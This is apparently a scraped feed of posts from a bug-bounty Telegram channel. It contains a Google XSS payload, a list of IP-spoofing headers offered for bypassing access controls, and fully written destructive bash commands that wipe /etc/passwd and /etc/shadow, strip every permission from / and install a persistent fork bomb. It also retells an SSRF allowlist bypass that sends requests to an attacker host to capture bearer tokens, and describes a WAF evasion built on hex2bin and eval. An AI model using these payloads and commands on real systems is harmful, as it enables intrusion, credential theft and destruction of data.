Hey Hunter's,
Dark Shadow here back again. Dropping a Google XSS POC-2😁
✅POC steps:
A simple payload can flip the game if you are use it in right place.😁
The vulnerability has been patched🥱
Let me know—aren’t you all interested to know that Google rewarded $31,337 for an SSRF vulnerability?
And
Don't forget to follow me 👉🏼 DarkShadow
#xss #googlebug
Dark Shadow here back again. Dropping a Google XSS POC-2😁
✅POC steps:
•Vuln host: books.google.com
•Xss type: stored based XSS
•Vuln param: book name noscript and publisher name parameter.
•Technique: direct inject the payload. Without any kind of encoding. (Reason: no input sanitization)
Payload: "><noscript/onload=prompt(1)>
A simple payload can flip the game if you are use it in right place.😁
The vulnerability has been patched🥱
Let me know—aren’t you all interested to know that Google rewarded $31,337 for an SSRF vulnerability?
And
Don't forget to follow me 👉🏼 DarkShadow
#xss #googlebug
🔥23🗿8👍4❤2🐳2
CVE-2025-20188: Use of Hard-coded Credentials in Cisco IOS XE, 10.0 rating 🔥🔥🔥
Due to hard-coded JWT, Cisco IOS XE instances may be vulnerable to arbitrary file uploads, path traversal, and arbitrary command execution. Catalyst controllers are primarily affected.
Search at Netlas.io:
👉 Link: https://nt.ls/BKkJI
👉 Dork: certificate.issuer_dn:"IOS-Self-Signed-Certificate"
Vendor's advisory: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-file-uplpd-rHZG9UfC
Due to hard-coded JWT, Cisco IOS XE instances may be vulnerable to arbitrary file uploads, path traversal, and arbitrary command execution. Catalyst controllers are primarily affected.
Search at Netlas.io:
👉 Link: https://nt.ls/BKkJI
👉 Dork: certificate.issuer_dn:"IOS-Self-Signed-Certificate"
Vendor's advisory: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-file-uplpd-rHZG9UfC
🔥6👍2😱1
Hey Hunter's,
If you're facing difficulties setting up Kali NetHunter, then Proot-Distro is a powerful and user-friendly alternative. It offers an easy and comprehensive solution for running multiple Linux distributions directly in Termux—no root required.
Explore it on GitHub:
https://github.com/termux/proot-distro
If you're facing difficulties setting up Kali NetHunter, then Proot-Distro is a powerful and user-friendly alternative. It offers an easy and comprehensive solution for running multiple Linux distributions directly in Termux—no root required.
Explore it on GitHub:
https://github.com/termux/proot-distro
👨💻5❤4🗿1
Hey Hunter's
DarkShadow here — back again with some killer techniques most bug bounty hunters overlook.
IP Spoofing Headers for Bypass & Testing:
Use: Bypass IP whitelisting, rate limits, geo-blocks, SSRF filters, or trigger internal behavior. Combine multiple for better results in black-box testing.
Don't forget to follow me 👉🏼 DarkShadow
#bugbountytips #wafbypass
DarkShadow here — back again with some killer techniques most bug bounty hunters overlook.
IP Spoofing Headers for Bypass & Testing:
X-Forwarded-For: 127.0.0.1
# Trusted by proxies/load balancers
X-Real-IP: 127.0.0.1
# Common in NGINX setups
X-Client-IP: 127.0.0.1
# Used for rate limiting/tracking
X-Remote-IP: 127.0.0.1
# May influence backend logic
X-Remote-Addr: 127.0.0.1
# Tries to override remote IP
True-Client-IP: 127.0.0.1
# Used by CDNs (e.g. Akamai)
CF-Connecting-IP: 127.0.0.1
# Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
# Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
# Seen in clustered environments
Forwarded: for=127.0.0.1
# RFC standard version of XFF
X-Originating-IP: 127.0.0.1
# Used by mail servers & legacy apps
X-Forwarded-Host: 127.0.0.1
# Can affect virtual host routing
X-Forwarded-Server: 127.0.0.1
# Backend routing logic
X-Real-Hostname: localhost
# Tries to spoof internal host
Via: 127.0.0.1
# May appear in proxy chains
Forwarded-For: 127.0.0.1
# Non-standard but seen in wild
Proxy-Client-IP: 127.0.0.1
# Java-based servers (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
# WebLogic-specific header
Use: Bypass IP whitelisting, rate limits, geo-blocks, SSRF filters, or trigger internal behavior. Combine multiple for better results in black-box testing.
Don't forget to follow me 👉🏼 DarkShadow
#bugbountytips #wafbypass
🔥23❤7👍4🗿3🤝2
This is not for hacking, this is for hackers;
If you're still not found anything in your bug hunting, then first apply this code in your file:
Never give up, just you have need to change your mind set-up.
Remember, where everyone give up pro's started there😌
If you're still not found anything in your bug hunting, then first apply this code in your file:
while(!success){
tryagain();
if(tried)
break;
}
Never give up, just you have need to change your mind set-up.
Remember, where everyone give up pro's started there😌
🤝23❤13👍5
⚠️Don't try these DarkShadow's commands:
Just dropping DarkShadow's bash nuclear some of demo commands🚨
1️⃣👉🏼Overwrite /etc/passwd and /etc/shadow
Destroys all user accounts, including root.
Result: Nobody can login anymore — system is fcked.
2️⃣👉🏼Make the system unusable (chmod all permissions)
Remove all permissions (read/write/execute) from all files and folders.
Result: You can't even ls or login properly. Full chaos.
3️⃣👉🏼Persistent Fork Bomb (auto start even after reboot)
Adds the fork bomb into startup files (.bashrc or /etc/bash.bashrc).
Result: As soon as anyone logs in, the machine crashes.
Hard to recover unless you boot into recovery mode and manually edit.
Just dropping DarkShadow's bash nuclear some of demo commands🚨
1️⃣👉🏼Overwrite /etc/passwd and /etc/shadow
echo "" > /etc/passwd
echo "" > /etc/shadow
Destroys all user accounts, including root.
Result: Nobody can login anymore — system is fcked.
2️⃣👉🏼Make the system unusable (chmod all permissions)
chmod -R 000 /
Remove all permissions (read/write/execute) from all files and folders.
Result: You can't even ls or login properly. Full chaos.
3️⃣👉🏼Persistent Fork Bomb (auto start even after reboot)
echo ':(){ :|:& };:' >> ~/.bashrc
or for all users:
echo ':(){ :|:& };:' >> /etc/bash.bashrc
Adds the fork bomb into startup files (.bashrc or /etc/bash.bashrc).
Result: As soon as anyone logs in, the machine crashes.
Hard to recover unless you boot into recovery mode and manually edit.
😱12👍9🫡7❤6
ShodanX⚡️– A terminal-powered recon and OSINT tool built on top of the Shodan Services to gather information of targets using shodan dorks ✨
✅Link - https://github.com/RevoltSecurities/Shodanx
👀 @mrz_0047
#BugBounty #cybersecurity #infosec #shodan
✅Link - https://github.com/RevoltSecurities/Shodanx
#BugBounty #cybersecurity #infosec #shodan
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤18👍2
Hey Hunters,
DarkShadow here—back again with a very interesting Google SSRF Proof of Concept!
🧠 Fixing the Unfixable: A Google Cloud SSRF Tale
A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in Google's cxl-services.appspot.com proxy, which powers interactive demos for various Google Cloud products, including jobs.googleapis.com.
🔍 Discovery
While exploring the Cloud Talent Solution API (jobs.googleapis.com), it was noticed that demo requests were routed through:
cxl-services.appspot.com/proxy?url=
Here’s a sample request:
The response returned 200 OK and displayed the full content, meaning the SSRF was not blind — and that makes it critical.
🧱 Initial Test: Traditional SSRF Blocked
Trying to change the url parameter to a malicious domain:
Response:
403 Forbidden
Invalid Target Host - Please add to allow list
This indicated the presence of a backend whitelist restricting outbound requests.
🛡️ Whitelist Bypass Trick
Despite the whitelist, a clever bypass was possible by exploiting discrepancies between URL parsers (RFC3986 vs. WHATWG) using a backslash (\) and @ symbol:
This tricked the proxy into making the request to attacker.com, while treating the domain as jobs.googleapis.com.
🔓 Sensitive Token Leakage
Even worse: the proxy included an Authorization: Bearer <token> header in its outbound requests.
By redirecting traffic to a controlled server, the researcher was able to capture tokens granting access to internal Google Cloud projects such as:
He even deployed a custom App Engine service within cxl-services, proving full code execution capabilities.
💰 Bounty Rewards
For these critical findings, the researcher earned over $13,000 from Google’s Vulnerability Reward Program (VRP).
Credit: Discovered by David Schütz
But Hunters, don’t forget to follow me for more deep-dive writeups and live exploitation breakdowns!
Follow me in X 👉🏼 DarkShadow
#bugbountytips #googlebug #ssrf
DarkShadow here—back again with a very interesting Google SSRF Proof of Concept!
🧠 Fixing the Unfixable: A Google Cloud SSRF Tale
A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in Google's cxl-services.appspot.com proxy, which powers interactive demos for various Google Cloud products, including jobs.googleapis.com.
🔍 Discovery
While exploring the Cloud Talent Solution API (jobs.googleapis.com), it was noticed that demo requests were routed through:
cxl-services.appspot.com/proxy?url=
Here’s a sample request:
GET /proxy?url=https://jobs.googleapis.com/v4/projects/4808913407/tenants/ff8c4578-8000-0000-0000-00011ea231ff/jobs:search HTTP/1.1
Host: cxl-services.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/json; charset=utf-8
Content-Length: 102
Connection: close
{"jobQuery":{"query":"bartendar","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}
The response returned 200 OK and displayed the full content, meaning the SSRF was not blind — and that makes it critical.
🧱 Initial Test: Traditional SSRF Blocked
Trying to change the url parameter to a malicious domain:
GET /proxy?url=https://attacker_server.com HTTP/1.1
Host: cxl-services.appspot.com
Response:
403 Forbidden
Invalid Target Host - Please add to allow list
This indicated the presence of a backend whitelist restricting outbound requests.
🛡️ Whitelist Bypass Trick
Despite the whitelist, a clever bypass was possible by exploiting discrepancies between URL parsers (RFC3986 vs. WHATWG) using a backslash (\) and @ symbol:
GET /proxy?url=https://attacker.com\@jobs.googleapis.com/ HTTP/1.1
Host: cxl-services.appspot.com
This tricked the proxy into making the request to attacker.com, while treating the domain as jobs.googleapis.com.
🔓 Sensitive Token Leakage
Even worse: the proxy included an Authorization: Bearer <token> header in its outbound requests.
By redirecting traffic to a controlled server, the researcher was able to capture tokens granting access to internal Google Cloud projects such as:
docai-demo
cxl-services
garage-staging
p-jobs
He even deployed a custom App Engine service within cxl-services, proving full code execution capabilities.
💰 Bounty Rewards
For these critical findings, the researcher earned over $13,000 from Google’s Vulnerability Reward Program (VRP).
Credit: Discovered by David Schütz
But Hunters, don’t forget to follow me for more deep-dive writeups and live exploitation breakdowns!
Follow me in X 👉🏼 DarkShadow
#bugbountytips #googlebug #ssrf
🔥15👍8🗿2❤1😱1
Guys, I just bypassed a seriously tough WAF + IDS combo!
Let me give you a quick summary of the bypass journey:
While testing a WordPress setup, I noticed that it blocks any attempt to save PHP code using the standard <?php ?> tags — access denied right away.
So, I tried using the shorthand <?= ?>, and surprisingly… it got through!
However, the IDS was still smart enough to detect and block any dangerous functions — even if they were Base64 encoded.
I experimented with multiple obfuscation methods, but none of them worked… until I had a breakthrough!
👀The trick? I used hex2bin() in combination with eval() — and that finally bypassed both the WAF and IDS.💥
Want the payload/code? Let me know —
And don't forget to follow me 👉🏼 DarkShadow
#wafbypass
Let me give you a quick summary of the bypass journey:
While testing a WordPress setup, I noticed that it blocks any attempt to save PHP code using the standard <?php ?> tags — access denied right away.
So, I tried using the shorthand <?= ?>, and surprisingly… it got through!
However, the IDS was still smart enough to detect and block any dangerous functions — even if they were Base64 encoded.
I experimented with multiple obfuscation methods, but none of them worked… until I had a breakthrough!
👀The trick? I used hex2bin() in combination with eval() — and that finally bypassed both the WAF and IDS.💥
Want the payload/code? Let me know —
And don't forget to follow me 👉🏼 DarkShadow
#wafbypass
🫡35🔥8👍7❤4
Perfect for anyone involved in:
Brut SecurityTake advantage of this opportunity and explore ZoomEye’s premium features!
#BrutSecurity #ZoomEye
Please open Telegram to view this post
VIEW IN TELEGRAM
2❤14🔥4👍3
Hey, don’t forget to like and share! And if you give it a try, tell us — we’d love to know how you’re using it!
❤12👍7